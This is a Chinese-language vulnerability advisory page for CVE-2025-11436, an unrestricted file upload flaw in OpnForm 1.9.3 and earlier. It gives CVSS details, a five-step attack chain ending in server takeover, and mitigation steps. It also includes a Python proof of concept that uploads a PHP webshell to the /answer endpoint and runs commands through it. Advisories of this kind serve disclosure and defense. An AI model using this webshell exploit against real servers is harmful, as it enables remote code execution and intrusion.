IPBUF安全漏洞报告
English
CVE-2025-11436 CVSS 6.3 中危

CVE-2025-11436:JhumanJ OpnForm 任意文件上传漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11436
漏洞类型
任意文件上传(Unrestricted Upload)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JhumanJ OpnForm

相关标签

CVE-2025-11436任意文件上传Unrestricted UploadOpnFormJhumanJ远程代码执行RCE中危漏洞Web应用安全文件上传漏洞

漏洞概述

CVE-2025-11436 是 JhumanJ OpnForm 开源表单构建工具中的一个安全漏洞,影响 1.9.3 及以下版本。该漏洞存在于应用程序的 /answer 端点中,具体涉及未明确的功能模块存在不当的文件上传验证机制。攻击者可以利用该漏洞绕过文件类型限制,上传任意恶意文件到服务器。CVSS 3.1 评分为 6.3,属于中危级别。该漏洞可被远程利用,仅需低权限认证即可发起攻击,无需用户交互。漏洞的成功利用可能导致机密性、完整性和可用性的部分损害。攻击者上传恶意文件后,可能进一步执行远程代码、植入Web Shell或进行其他恶意活动。漏洞的修复补丁已通过 Git 提交 95c3e23856465d202e6aec10bdb6ee0688b5305a 提供,建议受影响的用户尽快更新至修复版本。该漏洞的利用方式已公开披露,增加了被大规模利用的风险。

技术细节

该漏洞的核心问题在于 /answer 端点对用户上传文件的验证机制不充分。具体而言,应用程序在处理文件上传请求时,未能正确校验上传文件的类型、内容和扩展名,导致攻击者可以上传任意类型的文件。

从技术角度看,漏洞利用过程如下:
1. 攻击者首先需要获取低权限账户的认证凭据;
2. 通过认证后,构造包含恶意文件(如 PHP WebShell)的 multipart/form-data 请求,发送至 /answer 端点;
3. 由于服务端缺乏有效的文件类型白名单校验、MIME类型检查和文件内容验证,恶意文件被成功存储到服务器可访问目录中;
4. 攻击者随后通过浏览器或其他HTTP客户端直接访问上传的恶意文件路径,触发服务端解析执行,从而获得服务器端代码执行能力。

该漏洞的CVSS向量为 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L,表明攻击复杂度低、攻击向量为网络、所需权限为低、无需用户交互,且对机密性、完整性和可用性均产生低程度影响。修复方案通过加强文件上传验证逻辑,包括添加文件扩展名白名单、MIME类型校验及文件内容检测等措施来防止恶意文件上传。

攻击链分析

STEP 1
步骤1:信息收集与凭证获取
攻击者通过钓鱼、社会工程或其他方式获取 OpnForm 平台的低权限用户账户凭据,或通过注册功能创建低权限账户。
STEP 2
步骤2:构造恶意上传请求
攻击者构造包含恶意文件(如 PHP WebShell、JSP 后门等)的 multipart/form-data 请求,伪装文件 MIME 类型以绕过客户端验证。
STEP 3
步骤3:利用 /answer 端点上传恶意文件
通过认证后的会话,将恶意文件上传至 /answer 端点。由于服务端缺乏充分的文件类型校验,恶意文件被成功存储到服务器。
STEP 4
步骤4:触发恶意文件执行
攻击者通过浏览器直接访问上传的恶意文件路径,触发服务端脚本解析执行,获得远程代码执行(RCE)能力。
STEP 5
步骤5:服务器接管与持久化
利用获得的代码执行权限,攻击者可植入后门、提取敏感数据、进行横向移动或对服务器进行完全控制,实现持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11436 - JhumanJ OpnForm Unrestricted Upload PoC # Affected: JhumanJ OpnForm <= 1.9.3 # Vulnerable endpoint: /answer import requests # Target configuration TARGET_URL = "http://target-opnform-instance.com" AUTH_TOKEN = "your_auth_token_here" # Low-privilege authenticated session token # Malicious PHP webshell payload MALICIOUS_FILE = { "file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php") } # Form data mimicking legitimate form submission FORM_DATA = { "form_id": "1", "field_name": "answer" } # Headers for authenticated request HEADERS = { "Authorization": f"Bearer {AUTH_TOKEN}", "User-Agent": "Mozilla/5.0" } def exploit(): """ Exploit unrestricted file upload vulnerability in OpnForm /answer endpoint. Uploads a PHP webshell bypassing file type validation. """ upload_url = f"{TARGET_URL}/answer" # Step 1: Upload malicious file to vulnerable endpoint response = requests.post( upload_url, files=MALICIOUS_FILE, data=FORM_DATA, headers=HEADERS, verify=False ) if response.status_code == 200: print(f"[+] Upload successful!") # Step 2: Access uploaded webshell for RCE shell_url = f"{TARGET_URL}/uploads/shell.php?cmd=id" shell_response = requests.get(shell_url) print(f"[+] Command output: {shell_response.text}") else: print(f"[-] Upload failed with status: {response.status_code}") if __name__ == "__main__": exploit()

影响范围

JhumanJ OpnForm <= 1.9.3

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过 Web 服务器配置(如 Nginx 的 location 规则或 Apache 的 .htaccess)禁止上传目录中的脚本文件执行;2)在反向代理层添加文件上传过滤规则,阻止可疑的脚本文件类型;3)加强对 /answer 端点的访问日志监控,及时发现异常上传行为;4)限制低权限用户的文件上传功能,仅允许管理员进行文件上传操作;5)定期检查上传目录,清理可疑文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表